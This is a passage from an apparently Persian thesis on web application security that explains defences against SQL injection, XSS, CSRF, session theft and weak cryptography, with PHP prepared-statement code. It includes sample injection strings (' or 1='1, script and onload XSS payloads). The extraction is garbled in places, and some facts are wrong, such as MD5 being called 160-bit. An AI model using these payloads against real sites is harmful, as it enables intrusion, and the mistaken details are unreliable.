 ’1چسباندن آن به درخواست، مش ل تزریق حل خواهد شد. به عنوان مثال رمز 

or 1=’1  شود:شد به صورت زیر تبدیل م که باعث خطر م  

SELECT * FROM users  

WHERE Username=’’ AND Password=’1\’ or 1=\’1’ 

ها به معن  کاراکتر مربوطه هستند، نه جدا کننده رشته از  ‘که در آن 
  درخواست. 

شود توصیه نشود، آنست مش ل  که در این روش وجود دارد و باعث م 
اند، هنوز قابل قرار نگرفته ‘که اولا فیلدهای عددی که در درخواست داخل 

، بارت کاربر را درج م نویس باید همواره وقت  عتزریق هستند و ثانیا برنامه کند
- دار م آنرا اس یپ کند. اگر در ی  مورد این مهم فراموش شود، سیستم خدشه

  شود.

  )Prepared Statementدستورات مهیا شده ( ۴٬٢٬١٬٢
های پای اه ، دستورات مهیا شده است. در این ی   از ام انات سیستم

تا آنرا بررس  کرده  شودام ان، ی  درخواست بدون داده به پای اه داده ارسال م 
شوند تا در قالب ها جداگانه به پای اه داده ارسال م برای اجرا مهیا کند. سپس داده

آن دستور قرار گرفته اجرا شوند. اینکار اجرای چندین دستور ی  نوع را با سرعت 
  آورد. بالا فراهم م 

این روش اختلاف سرعت قابل توجه  با روش معمول  در اجرای ی  تک 
توان از آن برای رف  تزریق بهره گرفت. برای نمونه تابع زیر در ستور ندارد، لذا م د
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PHP  با استفاده از واسطMySQLi   و دستورات مهیا شده، ی  درخواست پای اه
:را اجرا م    نماید

tion SQL($Query) { 
       global $DB; 
       $args = func_get_args(); 
       if (count($args) == 1) { 
           $result = $DB->query($Query); 
           if ($result->num_rows) { 
               $out = array(); 
               while (null!=($r=$result->fetch_array(MYSQLI_ASSOC))) 
                   $out [] = $r; 
               return $out; 
           } 
           return null; 
       } else { 
           if (!$stmt = $DB->prepare($Query)) 

trigger_error("Unable to prepare {$Query}, reason: " 
. $DB->error ); 

           array_shift($args); //remove $Query from args 
           //the following ٣ lines copy an array values in PHP 
           $a = array(); 
           foreach ($args as $k => &$v) 
               $a[$k] = &$v; 
           $types = str_repeat("s", count($args)); 

//all params are strings, works well on MySQL and SQLite 
           array_unshift($a, $types); 
           call_user_func_array(array($stmt, 'bind_param'), $a); 
           $stmt->execute(); 
           //fetching all results in a 2D array 
           $metadata = $stmt->result_metadata(); 
           $out = array(); 
           $fields = array(); 
           if (!$metadata) 
               return null; 
           $length = 0; 
           while (null!=($field = mysqli_fetch_field($metadata)))  { 
               $fields [] = &$out [$field->name]; 
               $length+=$field->length; 
           } 
           call_user_func_array(array( 
               $stmt, "bind_result" 
                   ), $fields); 
           $output = array(); 
           $count = 0; 
           while ($stmt->fetch()) { 
               foreach ($out as $k => $v) 
                   $output [$count] [$k] = $v; 
               $count++; 
           } 
           $stmt->free_result(); 
           return ($count == 0) ? null : $output; 
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       } 
   } 

  جهت استفاده از این تابع، درخواست باید به صورت زیر به تابع ارسال شود:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 

?" , 5 , "Username" , 2); 

-نویس هیچوقت رشتهدر استفاده از این روش بسیار مهم است که برنامه

) نکند و تنها از علامت سوال به عنوان جای زین استفاده Concatها را متصل (
فاده از این روش به نماید، و داده ها را در قالب پارامتر به تابع ارسال نماید. است

تواند کل مش لات نویس نیز با ی  قاعده کل  م شود و برنامهشدت توصیه م 
  تزریق را رف  نماید.

همان منظور را برآورده  PHPدر  PDOتابع زیر نیز با لایه انتزاع  سازی 
  های داده قابل استفاده است:کند و برای تمام پای اهم 

function SQL($Query) { 
       global $DB; 
       $args = func_get_args(); 
       if (count($args) == 1) { 
           $result = $DB->query($Query); 
           if ($result->rowCount()) { 
               return $result->fetchAll(PDO::FETCH_ASSOC); 
           } 
           return null; 
       } else { 
           if (!$stmt = $DB->prepare($Query)) { 
               $Error = $DB->errorInfo(); 
               trigger_error("Error: {$Query}, reason: {$Error[2]}"); 
           } 
           array_shift($args); //remove $Query from args 
           $i = 0; 
           foreach ($args as &$v) 
               $stmt->bindValue(++$i, $v); 
           $stmt->execute(); 
           return $stmt->fetchAll(PDO::FETCH_ASSOC); 
       } 
   } 
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  بررس ورودی ۴٬٢٬١٬٣
حل مش لات تزریق  است، اما به دلیل دشواری بررس  ورودی همواره راه

شود. بررس  ورودی به دو روش قابل انجام نوشتن برنامه آن، معمولا استفاده نم 
  است که تنها روش دوم از نظر امنیت  تایید شده است.

های پویا (تعداد هنگامی ه نیاز به ساختن درخواست SQLبررس  ورودی در 
اربر ) داریم، کLIMITای (پارامترهای متغیر) و یا ارسال پارامترهای غیرداده

 اساس  دارد.

  لیست سیاه ۴٬٢٬١٬٣٬١
شوند. از در این روش بررس  ورودی، عبارات  که نامناسب هستند رد م 

پیدا کردن همه عبارات نامناسب از نظر منطق  مم ن نیست،  آنجایی که
گذارد که ای را باز م سازی این روش رخنهنویس در پیادهمعمولا  رنامه

  دهند.ی را از این بررس  عبور م نفوذگران با کشف آن، عبارات نامناسب

- م  Vectorبه روشهای جدید کشف شده در گذر از ی  لیست سیاه، 

.   گویند

  لیست سفید ۴٬٢٬١٬٣٬٢
در بررس  لیست سفید، تنها مواردی که مناسب هستند، اجازه عبور پیدا 

کنند.  لیست کردن تمام مقادیر مناسب، کاری دشوار است ول  ضریب م 
.ارائه م  امنیت  بسیار بالاتری را  کند
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  تزریقات دیر ۴٬٢٬٢
راه حل کل  جلوگیری از تزریقات مختلف، بررس  لیست سفید است. در زیر بسته به 

:کار بررس  م نوع تزریق جزئیات راه   شوند

  تزریق به کنسول ۴٬٢٬٢٬١
هایی Vectorاست ول  نفوذگران همواره  Escapingتزریق به کنسول نیز قابل 

تزریق به کنسول باید بسیار دقت داشت و توسط کنند. در برای رد اس یپ پیدا م 
  ورودی را بررس  لیست سفید کرد. Regular Expressionی  

  تزریق کد ۴٬٢٬٢٬٢
شود. ام ان اجرای کد برای هیچ دفاع از تزریق کد، تنها با حذف آن میسر م 

کاربری نباید مهیا باشد، م ر اینکه دسترس  به صفحه مربوطه بعد از کنترل 
  های امنیت  متعدد مهیا شده باشد.زمدسترس  و م انی

های بسیار زیادی برای عبور از Vectorسازی، های برنامهبه دلیل پیچیدگ  زبان
  هرگونه بررس  این مولفه وجود دارند.

  تزریقات دیر ۴٬٢٬٢٬٣
در اینگونه تزریقات نیز دقت و بررس  لیست سفید تنها راه ارائه شده هستند. 

.ش ل تزریق را به صورت کامل رف  م استفاده از بررس  لیست سفید، م   نماید
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اسریپ ۴٬٢٬٣ بین  ایت     نویس
ای HTMLبه عنوان مثال  –غیر استاندارد و نادرست  HTMLکاوش رهای وب، 

. را اصلاح کرده و به درست  پردازش م  –که ی  برچسب در آن بسته نشده باشد  کنند
ر گنجانیده شده است. هر افزااین امر به دلیل افزایش مشتری و رضایت آن از نرم

  دهد.کاوش ری نیز این کار را به صورت خاص  انجام م 

بسیار بسیار دشوار است. در جلوگیری از  XSSبه دلیل ویژگ  بالا، جلوگیری از 
XSS  توان دو سناریو مختلف متصور شد:م  

  نیازی به برچسب نیست ۴٬٢٬٣٬١
ام کاربر یا هر هایی که اصلا نیازی به وجود برچسب نیست (مثل ندر ورودی

حذف و  HTMLورودی ساده دی ر)، کافیست تمام کاراکترهای معنا دار در 
دهد. پس از اینکار را انجام م  PHPدر  htmlspecialcharsاس یپ شوند. تابع 

شوند. به عنوان مثال رشته زیر پس از گذر از ها بی خطر م گذر از این تابع، رشته
  تابع نمایش داده شده است:

<script>alert(‘1’);</script> 

&lt;script&gt;alert(‘1’);&lt;/script&gt; 

 درون ی  برچسبها ی که باید توجه داشت که این راه ار فقط برای داده
، درون HTMLگیرند جواب وست.  مثلا متن ی  فیلد متن  در ی  فرم قرار م 
  گیرد:قرار م  valueصفت 

<input type=’text’ value=’put it here’ /> 
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شود و نفوذگر نیز مش ل رف  نم  htmlspecialcharsدر این صورت، با 
: XSSتواند با تزریق عبارت زیر م    بزند

‘ onload=’alert(1)’ title=’ 

:که فیلد را به عبارت زیر تبدیل م    کند

<input type=’text’ value=’ ‘ onload=’alert(1)’ title=’’ /> 

.بار شدن، اس ریپت مربوط به رخداد خود را اجرا م  این فیلد نیز به محض      کند

  برچسب لازم است ۴٬٢٬٣٬٢
در مواردی که نیاز به دریافت برچسب در ورودی کاربر هست، مثل ی  وبلاگ، 
ی  فوروم و یا سایت  مثل فیس بوک که در نظرات کاربر تصویر و لینک نیز قبول 

  شود.کند، مش ل بسیار حاد م م 

  وجود دارند که با روش لیست سیاه، موارد خطرناک را از های عظیمکتابخانه
کنند. استفاده از روش لیست سفید مم ن نیست، زیرا ها حذف م اینگونه داده

HTML .بینهایت حالت معتبر دارد  

های محتمل بر خطر را همچنین استفاده از روش لیست سیاه، یا باید همه داده
هایی کند: یا باید تنها دادهر کاهش پیدا م حذف کند، که در اینصورت رضایت کارب

های منطقا که مطمئن به خطرناک بودن آنهاست حذف کند، که در اینصورت داده
. خطرناک باق  م    ماند

ای، ی  برچسب را بر روی  CSSتواند با درج مثلا در حال دوم ی  نفوذگر م 
این سایت ه  « کل صفحه به صورت تمام صفحه قرار دهد و بر روی ان عبارت 
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بنویسد. کاربری که این صفحه را مشاهده کند ام ان تشخیص فرق آن » شده است
  ای که محتوای کامل آن توسط نفوذگر عوض شده باشد، ندارد.با ص حه

ها های تصفیه داده بسیار حجیم و کند هستند. از این دسته کتابخانهکتابخانه
  اشاره نمود.  OWASP Antisammyو  HTML Purifierتوان به م 

ای مهار نشده است. اکثر سایتهای هنوز حمله XSSبه خاطر جمیع دلایل فوق، 
شوند. در حال حاضر تمرکز جامعه امنیت وب مهم سال  چندین بار با این حمله ه  م 

.بر روی افزودن ام انات به کاوش ر وب برای جلوگیری از این حمله   هاست

ود که تمام  خروج  مش وک آن، فیلتر و شهمچنین کمتر سیستم  پیدا م 
تصفیه شده بر روی صفحه نمایش داده شود، و هیچ راه زیرساخت  برای تشخیص 

  خروج  مش وک از خروج  مطمئن وجود ندارد.

  

  انضمام فایل مخرب ۴٬٢٬۴
رف  این حمله به نسبت ساده است، کافیست در دستورات  که فایل به کد 

ا متغیرهایی که کاربر در آنها تاثیر داشته کنند، از متغیرها، خصوصضمیمه م 
  است، استفاده نشود.

نویس در این دستورات از نویس  جدید، اگر برنامههای برنامهدر اکثر محیط
  دهد.متغیر استفاده کند، محیط به وی اخطار امنیت  م 

در صورت  که نیاز مبرم  به استفاده از متغیر در این دستور باشد، بررس  
  ست سفید الزامیست و مش ل را رف  خواهد کرد.دقیق لی



152 
 

  ارجاع مستقیم نامطمئن به محتوا ۴٬٢٬۵
نویسان باید از گیرد. برنامهرف  این مش ل با اصلاح معماری سیستم صورت م 

های درست محتوا را در اختیار کاربر قرار تنبل  دست برداشته، با استفاده از زیرساخت
  دهند.

همچنین اجباری کردن کنترل دسترس ، این  و Routing Tablesاستفاده از 
دهد. در نهایت بهتر است برای کشف اینگونه معضل را تا حد قابل توجه  کاهش م 

(تست نفوذ) بر  Penetration Testingمعضلات ی  سایت، پس از تکمیل آن عملیات 
  روی سایت صورت ب یرد.

  

۴٬٢٬۶ جعل درخواست بین سایت  
  وجود دارد:  CSRFدو راه ار برای جلوگیری از 

تا ۴٬٢٬۶٬١    م لفه ی
کند (یا هر لینک  که فرم  که ایجاد م در این روش، سرور باید برای هر 

) تعریف کرده، Tokenشود) ی  پارامتر ی تا (ی  درخواست عملیات  را منجر م 
  در تنظیمات کاربر نگهدارد. 

 Tokenهنگام  که کاربر وارد صفحه شود، فرم را پر کند و آنرا ارسال کند، 
شود و سرور مربوطه به صورت ی  فیلد نامرئ  به صورت خودکار به سرور ارسال م 
شود که کاربر با بررس  منطبق بودن آن با پارامتر تعریف شده در سرور، متوجه م 

  خود فرم را پر کرده است.
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افزار مخربی درخواست  را به همان آدرس ارسال کند، در صورت  که نرم
ایجاد شده ندارد، زیرا صفحه درخواست را باز نکرده و  Tokenراه  برای دانستن 

  است.سپس آنرا ارسال کند، بل ه درخواست را از صفحه دی ری ارسال کرده

- نامیده م  Security Tokenیا  CSRF Tokenها که اصطلاحا این مولفه

- رمشوند، باید ی بار مصرف باشند. افزودن این مولفه به صورت خودکار به تمام  ف

به سادگ  قابل انجام است، تنها  HTMLهای پردازش خروج  ها، توسط افزونه
  های پشتیبان  کند.لازم است که چهارچوب از چنین افزونه

۴٬٢٬۶٬٢ CAPTCHA 

های اینترنت ، با تصویری از حروف درهم مواجه حتما تاکنون بارها در فرم
مایید. این تصاویر با نام خواهد عبارت داخل آنرا وارد ناید که برنامه از شما م شده

  شوند.شناخته م  CAPTCHAعلم  

 

  CAPTCHAی نمونه  ٧٣شل 

 Computer Aided Program Tellingاین نام مخفف عبارت 

Computers & Humans Apart تواند کامپیوتری که م  است، به معن  برنامه
توسط  CAPTCHAاز آنجایی که فرق بین انسان و سیستم را تشخیص دهد. 

- های نرمها (روبوتکامپیوتر قابل خواندن و تشخیص نیست، این فیلدها از بات

  نمایند.سازی کاربران را دارند، جلوگیری م افزاری) که قصد شبیه
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کند را فراهم م  CSRFعلاوه بر کاربرد فوق، کپچا ام ان جلوگیری کامل از 
های بانک ) از آن استفاده حساس (مانند سیستمهای شود در سیستمو توصیه م 

  شود.شود. در تمام  صفحات پرداخت بانک  از این تکنولوژی استفاده م 

  

  ضعف احراز هویت و مدیریت نشست ۴٬٢٬٧
احراز هویت مبحث پیچیده و مفصل  است که بسیاری از محققان برجسته 

  مش لات موجود در این کنند. در حال حاضر برای رفامنیت در دنیا بر روی آن کار م 
(نام کاربری و رمز عبور واحد و مرکزی) و استفاده  OAuthزمینه، دو راه ار استفاده از 

-معیاره (رمز عبور، توکن، اثر انگشت، اس ن قرنیه و ...) توصیه م از احراز هویت چند 

.   شوند

  مرا به خاطر بسپار ۴٬٢٬٧٬١
، Remember Meدارد، ها وجود ویژگ  خاص  که در صفحه ورود به اکثر سیستم

سازی آن، ایجاد ی  توکن ی بار سازی شود. روش صحیح پیادهباید با دقت پیاده
مصرف و قرار دادن آن در سرور و ارتباط آن با کاربر مربوطه، و قرار دادن آن در کوک  
  کاربر مربوطه است. قرار دادن نام کاربری و رمز عبور داخل کوک  اصلا مطمئن نیست.

  تتقی  نشس ۴٬٢٬٧٬٢
ی   از راه ارهای مهم جلوگیری از سرقت نشست، استفاده از تقید نشست 

ای که کاربر از روی آن در حال کار با سیستم های رایانهاست. در این روش، مولفه
های دی ری با همان نشست در شوند و اگر کاربری با مولفهاست، به نشست او قید م 

  شود.ستم خارج شده، نشست باطل م سیستم ظاهر شود، هر دو کاربر درجا از سی
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  سازی این تکنولوژی وجود دارد:در سط  از پیاده

۴٬٢٬٧٬٢٬١ IP Binding 

شود. نفوذگری که اینترنت  کاربر به نشست او وصل م  IPدر این روش، 
از قسمت دی ری از اینترنت نشست کاربر را دزدیده باشد، ام ان اتصال با آن 

  نشست را نخواهد داشت.

و داخل  NATآید که کاربر و نفوذگر هردو پشت م  مش ل وقت  پیش
  واحد باشند. در اینجا سط  دوم راه شا خواهد بود. IPی  شب ه با 

  های کاوشرمولفه ۴٬٢٬٧٬٢٬٢
به سرور  User Agentهر کاوش ری، ی  عبارت طولان  تحت سرآیند 

کند. این عبارت حاوی نوع کاوش ر، نسخه آن و نسخه سیستم عامل ارسال م 
.م مربوطه    باشد

دهد، ول  به ها به نشست نیز امنیت را افزایش م اتصال این مولفه
عنوان ی  راه ار قطع  عملیات  نیست. بسیاری از کاربران برای حفظ 

تواند نسبت کنند. همچنین نفوذگر م محرمانگ  خود، این سرآیند را حذف م 
  به جعل این سرآیند به سادگ  اقدام نماید.

  زمان نشست ۴٬٢٬٧٬٣
های ی  نشست و چوب باید زمان شروع نشست، تعداد درخواستچهار

زمان آخرین درخواست  ی  نشست را نگهداری نماید. در صورت  که درخواست 
دقیقه)  ٣٠جاری از آخرین درخواست، به مقدار معین  فاصله زمان  داشت (

  چهارچوب باید نشست را باطل کند.
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درخواست جاری، زمان در صورت  که زمان شروع نشست نسبت به زمان 
  قابل توجه  فاصله داشت (ی  هفته) باز هم نشست باید باطل شود.

همچنین در صورت  که این اطلاعات گزارش یری شوند، مدیر سیستم با 
تواند تشخیص دهد که چند کاربر در حال م  IDSبررس  آنها، یا با استفاده از 
  استفاده از این نشست هستند.

  دیر ت خطاتنظیمات ناصحیح و م ۴٬٢٬٨
گردند، به تنظیمات محدود کننده، که معمولا به عنوان تنظیمات امن معرف  م 

افزار، هنگام  نویسان و کاربران ی  نرمهیچ وجه مناسب نیستند. اکثر مدیران، برنامه
.شوند اقدام به حذف آنها م که با تنظیمات دست و پاگیر مواجه م    کنند

افزار کارکرد متعدد را فعال گذاشته، در بدنه نرمهای تنظیمات صحیح باید ویژگ 
بسیار پرکاربرد و مهم، و PHPدر  ini_setآنها را کنترل نماید. به عنوان مثال تابع 

تواند با کنترل کارکرد آن، خطر را از آن دور باشد ول  برنامه م همچنین خطرناک م 
.   نماید

  محیط اجرایی ۴٬٢٬٨٬١
اند تشخیص دهد که بر روی سرور محل  (سرور افزار باید بتودر مدیریت خطا، نرم

نویس ) در حال اجراست یا بر روی سرور عملیات . این تشخیص با معرف  چند برنامه
شود. در محیط توسعه، چهارچوب باید تمام پارامتر به برنامه به سادگ  انجام م 

، خطاها را با جزئیات بر روی صفحه نمایش دهد و ترجیحا از آنها گزاش یری  نکند
  شود.وگرنه با حجم انبوه  گزارش بی فایده روبرو م 
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در محیط عملیات ، چهارچوب باید از خطاها گزارش یری کند و خطاهای حساس را 
از طریق پیام  یا ایمیل به اطلاع مدیر سیستم برساند، زیرا مدیر سیستم دائما 

ار افتادن سیستم تواند باعث از ککند و ی  خطای حساس م گزارشها را بررس  نم 
  برای چندین ساعت بشود.

  دسترس اجرا ۴٬٢٬٨٬٢
ها ) برای اجرای اس ریپتCGI, FCGI, MODاستفاده از واسط اجرای مناسب (

که  apacheتحت کاربر  PHPبر روی سرور بسیار حیات  است. به صورت پیشفرض 
لها شود. با این سط  دسترس ، ام ان تغییر در فایمربوط به سرور وب است اجرا م 

  اصلا وجود ندارد و تنها ام ان خواندن آنها فراهم است.

ها و فایلها (دادن در این تنظیم، بسیاری از مدیران نسبت به آزاد کردن برخ  پوشه
های آزاد کنند تا برنامه بتواند به درست  کار کند. پوشهبه آنها) اقدام م  ٧٧٧دسترس  

و به محض اینکه نفوذگری، ی   از  توسط تمام کاربران سرور قابل دسترس  هستند
های سایتهای موجود بر روی سرور را ه  کند، با سادگ  به تمام سایتهایی که پوشه

.آزاد دارند دسترس  پیدا م    کند

ها را، تحت نام است که اس ریپت suPHPراه ار درست، استفاده از ابزاری مانند 
کند. این ه همان است) اجرا م کاربری خاص  (که برای هر سایت متفاوت و متعلق ب

تر ها ام ان دستکاری فایلهای خود را دارند و امنیت و کنترل آنها بسیار سادهاس ریپت
  است.
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۴٬٢٬٩    کاریمخف
کاری از کاری، تنبل  نکردن و دانستن این مهم است که مخف راه حل مخف 

-کا به م انزیمکاری، تنها با اتهاست. جلوگیری از مخف مهمترین علل نفوذ به سیستم

کاری نویسان باید تحت هر شرایط  از مخف شود و برنامهمیسر م  AAAهای صحیح 
  خودداری نمایند.

  رمزنگاری نامطمئن ۴٬٢٬١٠
کند الملل  مناسب را تعیین م در رمزنگاری، مرج  مطمئن  که استانداردهای بین

FIPS ی  ه هایاست که در واق  ی  سازمان دولت  آمری ایی است. ال وریتمFIPS-

compliant  شوند، از امنیت قابل قبول  برخوردار هستند. در ادامه سع  معرف  م
  شود نیازهای ابتدایی رمزنگاری بررس  شود:م 

  رمزنگاری ارتباطات ۴٬٢٬١٠٬١
) X.509، وب سرور نیاز به ی  گواهینامه دیجیتال (HTTPSبرای فعال کردن 

گواهینامه دیجیتال شامل و ی  کلید خصوص  ذخیره شده بر روی سرور دارد. 
و ی  دامنه، و امضای گواهینامه  IPکلید عموم ، مشخصات سیستم در قالب ی  

  دیجیتال است.

و ی  دامنه دارد، استفاده از گواهینامه تنها  IPبه دلیل اینکه هر گواهینامه ی  
اختصاص  دارند مم ن است. همچنین هر گواهینامه  IPها ی که بر روی سایت

شود، به عنوان مثال اگر گواهینامه برای روی ی  دامنه خاص تعریف م تن ا بر 
abiusx.com  صادر شده باشد، در صورت  که برایmail.abiusx.com  استفاده

  شود غیر معتبر خواهد بود.
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کند. در صورت  که هر گواهینامه ی  امضا دارد، که صادر کننده آنرا مشخص م 
های شناخته شده دنیا باشد  CAیعن  از ی   از امضای صادر کننده معتبر باشد (

نامیم. در غیر که همه به آنها اعتماد دارند)، گواهینامه را ی  گواهینامه معتبر م 
  اینصورت گواهینامه غیر معتبر است.

تواند ی  گواهینامه را امضا کند، برای امضا کافیست ی  جفت کلید هرکس  م 
امضای گواهینامه توسط مراج  معتبر، با  (خصوص  و عموم ) داشته باشد، اما

  شود.دلار در سال) انجام م  ١٠٠دریافت مبل  قابل توجه  (حدود 

همچنین هر گواهینامه تاریخ اعتبار مشخص  دارد که پس از آن دی ر معتبر 
  نخواهد بود و باید گواهینامه جدیدی صادر شود.

استفاده شود، باز هم در صورت  که در ی  سیستم از گواهینامه غیر معتبر 
به درست  انجام خواهد شد، اما دی ر مشخص  HTTPSها در قالب رمزگذاری داده

نیست که آیا کاربر مستقیما با سرور مربوطه در حال ارتباط امن است، یا نفوذگری 
در میان راه قرار گرفته، گواهینامه نامعتبر خود را به کاربر عرضه کرده و کاربر در 

  کند در حال ارتباط با سرور است.ا نفوذگر است و اشتباها فکر م حال ارتباط ب

به همین دلیل تمام کاوش رهای وب، هنگام  که به ی  گواهینامه نامعتبر 
کنند، پیام اخطاری را مبن  بر اینکه هویت مقصد برخورد م  HTTPSبرای سایت 

یت تایید شده داند. سایتهای معتبر و بزرگ هم   هوتایید شده نیست اعلام م 
تواند مطمئن دارند و اگر کاربری هنگام مرور آنها این اخطار را مشاهده کرد، م 

  باشد که نفوذگری در میان راه قرار گرفته است.



160 
 

۴٬٢٬١٠٬١٬١ زیرساخت کلید عموم  
)، زیرساخت  است که در دنیا قرار گرفته تا PKIزیرساخت کلید عموم  (

الملل  رج  معتبر بینهای معتبر قابل تایید باشند. تعدادی مهویت
)Certificate Authorotiyوجود دارند که کلید عموم  آنها در همه سیستم ( -

- م  Root CAهای عامل و کاوش رها درج شده است. این مراج  را به عنوان 

شناسند و اعتبار دائم  و خدشه ناپذیر دارند. این مراج  دارای دیتاسنترهای 
شود، از پای اه پلیس از آنها محافظت م  بسیار امن و حساس هستند و بیشتر

.ها قابل جعل م زیرا در صورت  که کلید آنها لو برود، تمام هویت   شوند

های معتبر صادر شده، با دو یا سه واسطه، به ی   از این تمام گواهینامه
مراج  سط  اول مرتبط هستند. به عنوان مثال هنگام  که شما ی  گواهینامه 

شود که امضا م  CA Xدهید، توسط سفارش م  abiusx.comمعتبر برای 
 Rootامضا شده و گواهینامه او نیز توسط ی   CA Yگواهینامه خود او توسط 

CA  امضا شده است. کاوش ر وب، هنگام  که به ی  گواهینامه جدید برخورد
کن  ت  به ها را ی   ی   بررس  م کرد، کل این مسیر را ط  کرده، گواهینامه

  اهینامه سط  ی  برسد.گو

زیرساخت کلید عموم ، جدای از ی  بحث فناوری، از نظر سیاس  نیز 
های نظام  و اقتصادی اصل  هر کشوری، به اهمیت بسزایی دارد. سازمان

کنند و تنها اند اعتماد نم هایی که در کشورهای دی ر واق  شده CAسادگ  به 
تمام کشورهای مهم حداقل  کشور خودشان هم اری نمایند. CAحا رند با 

کشور ایران که در وزارت بازرگان  قرار گرفته است، به  CAدارند، اما   CAی  
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الملل  و همچنین اشتباه  که ی بار مرتکب شده بود، در های بیندلیل تحریم
  حال حاضر از اعتبار بین الملل  ساقط است.

  هارمزنگاری داده ۴٬٢٬١٠٬٢
  از نظر کاربرد به پن  دسته تقسیم کرد:توان در حال حاضر، رمزنگاری را م 

 )AESرمزنگاری متقارن بلوک  (ال وریتم استاندارد  •

 )RC4های متعدد، رمزنگاری متقارن جریان  (ال وریتم •

 پرکاربرد) RSAرمزنگاری نامتقارن (سه ال وریتم محبوب،  •

 )SHA-512یا  SHA-256ساز (توابع چ یده •

 )DSSامضای دیجیتال ( •

  های فوق برای منظوری مناسب هستند:ردهرکدام از کارب

  گیری)رمزنگاری یطرفه (چیده ۴٬٢٬١٠٬٢٬١
-امضای دیجیتال، با داشتن ی  گواهینامه یا کلید عموم  معتبر، م 

تواند به امضای هرگونه محتوا بپردازد و تضمین کند که محتوی نه دستکاری 
های شده است نه توسط فرد ثالث  ایجاد شده است. امضای دیجیتال پیچیدگ 

.ای م قابل توجه  دارد و سند جداگانه   طلبد

شوند. در ساز، عموما برای نگهداری رمز عبور استفاده م توابع چ یده
حافظه مرکل، جداول  تحت عنوان -سالهای جدید بر اساس تئوری زمان

Rainbow Table ساز را خنث  م ایجاد شده اند که بسیاری از توابع چ یده-

  افزار وجود دارد.رم  بر استفاده صحیح از این توابع در نرمکنند، لذا نیاز مب
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ساز، ابتدا آنست که از توابع جدید و روش درست استفاده از توابع چ یده
ساز فضای تابع چ یده Birthday Theoremقدرتمند استفاده شود. بنا بر قضیه 

 ١۶٠ که فضای MD5هر مقداری که باشد، مجذور آن مفید است، لذا ال وریتم 
داد که امروزه با استفاده از ی  بیت  ارائه م  ٨٠بیت داشت، در واق  امنیت 

 SHA-512و  SHA-256سوپرکامپیوتر در ی  دقیقه قابل ش ست است. توابع 
  شوند.در حال حاضر امن تلق  م 

است. نم  ی  اصطلاح رمزنگاری است، که  نم نکته دوم استفاده از
شود. با استفاده شود که به رمز افزوده م گفته م به داده تصادف  و غیرحساس  

- از نم ، برای هر رمز عبور هر کاربر، ی  نم  (ی  رشته تصادف ) ایجاد م 

گردد. ی  شود، سپس در پای اه داده ذخیره م شود، و به رمز عبور متصل م 
نم  ثابت سیستم  نیز تعریف شده است. ترکیب این دو نم  و رمز عبور، 

های موجود Rainbow Tableشود. با این روش، دی ر گیری م یدهی جا چ 
مجزا تهیه  Rainbow Tableپاسخ و نخواهند بود و برای هر سیستم  باید ی  

  شود. تهیه کردن ی   از این جداول، حدود ی سال زمان نیاز خواهد داشت.

 

 رمز صحت بررس و عبور مزر از حیصح یسازدهیچ در داده انیجر ٧٤شل 



163 
 

  

  رمزنگاری دوطرفه ۴٬٢٬١٠٬٢٬٢
آید. های ثابت به کار م رمزنگاری متقارن بلوک ، برای رمزکردن داده

تاکنون استاندارد باق   ٢٠٠٠استاندارد این سط  است و از سال  AESال وریتم 
رسد در سالهای آت  نیز دچار خدشه شود. این ال وریتم در سه مانده و به نظر نم 

کند که آخری استاندارد اسناد بیت  کار م  ٢۵۶بیت  و  ١٩۶بیت ،  ١٢٨کلید سط  
  محرمانه دولت آمری است.

 

 شود¬ م استفاده لیموبا  در صدا رمزکردن یبرا که A5/1 تمیال ور کارکرد ینما ٧٥شل 

  

تولید رمزنگاری متقارن جریان ، برای رمزکردن صوت و تصویر همزمان با 
شوند. های رمزشده با این تکنولوژی مهیا م آن کاربرد دارد. مثلا ویدئو کنفرانس

و امضای  HTTPSرمزنگاری نامتقارن کاربردهای پیشرفته دارد، به عنوان مثال 
نویس معمولا نیازی به کنند. برنامهدیجیتال خود از این زیرساخت استفاده م 

رد، ول  لازم است بداند که در حال حاضر استفاده مستقیم از این فناوری ندا
  شوند.امن تلق  نم  RSAبیت برای  ٢٠۴٨کلیدهای کوچ تر از 
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 نامتقارن یرمزنگار انگذاریبن ،RSA  شرکتنمایه  ٧٦شل 

ها نباید در برنامه قرار ب یرد توجه داشته باشید که کلید اینگونه رمزنگاری
  از نفوذ به سیستم به کلید نیز دسترس  خواهد داشت. وگرنه نفوذگر پس

  امنیت طرف مشتری ۴٬٢٬١١
هایی که نیازی به واگذار کردن امنیت به مشتری و کاوش ر نیست، در تمام سناریو

  نویس باید اینکار را در سمت سرور انجام دهد.برنامه

سرور به های حساس در صورت  که قسمت  از امنیت باید در کاوش ر بررس  شود، داده
هیچ وجه نباید به مشتری ارسال شوند، بل ه باید ی  توکن ی بار مصرف حاصل از 

گیری از داده مربوطه ایجاد شده ذخیره شود و به مشتری ارسال شود، مانند چ یده
  گرفت.صورت م » مرا به یاد داشته باش«سناریویی که در 

  غیره ۴٬٢٬١٢
، نیازمند استخدام یا هم اری با آگاه  از راه دفاع در برابر حملات مختلف و نوین

ی  متخصص امنیت اطلاعات است. این متخصصین برای حفظ امتیاز خود باید دائما 
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های مهم مخاطرات امنیت  شرکت نمایند و دائما اطلاعات خود در سمینارها و لیست
  را بروز نمایند.

شود اقدام وذ م های ایران  تنها پس از اینکه به آنها نفمتاسفانه بسیاری از سازمان
% ٨٠ها را تا کنند، اینکار هزینه اصلاح سیستمبه استخدام متخصص امنیت م 

الملل  صرف امنیت های بیندهد. سالانه مبل  قابل توجه  از بودجه شرکتافزایش م 
  شود.اطلاعات و مقابله با مخاطرات آن م 
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  نتیجه گیری: ۵
ه عنوان ی  بستر ارائه اطلاعات معرف  شد. سپس نیاز به در این نوشته، وب ب

های این افزارهای پیشرفته وب مطرح شد و ویژگ سازی برای تولید نرمهای برنامهچهارچوب
  ها مورد بررس  قرار گرفت.چهارچوب

های امروزی، با نقطه نظر کارایی و بدون دقت به های موجود در سیستماکثر چهارچوب
- اند. چهارچوبها به وجود آوردهاند و مش لات بسیاری را برای سازمانتولید شدهجنبه امنیت 

نیز به دلیل گستردگ  و پیچیدگ  زیاد، همچنین  OWASP ESAPIهای امنیت  محض مانند 
  اند.سازی کامل، مورد استقبال خوبی قرار نگرفتهنداشتن پیاده

کم کم به میدان جنگ کشورها،  شود ووب روز به روز با مخاطرات بیشتری مواجه م 
شود. در این فضا، استح ام مصال  استفاده شده برای ساختن ها تبدیل م ها و سازمانملت
ها اهمیت بسزایی دارد و در صورت  که اصلاحات جدی در این زمینه صورت نگیرد، در قلعه

  آینده نزدی  به معضل بسیار بزرگ  تبدیل خواهد شد.

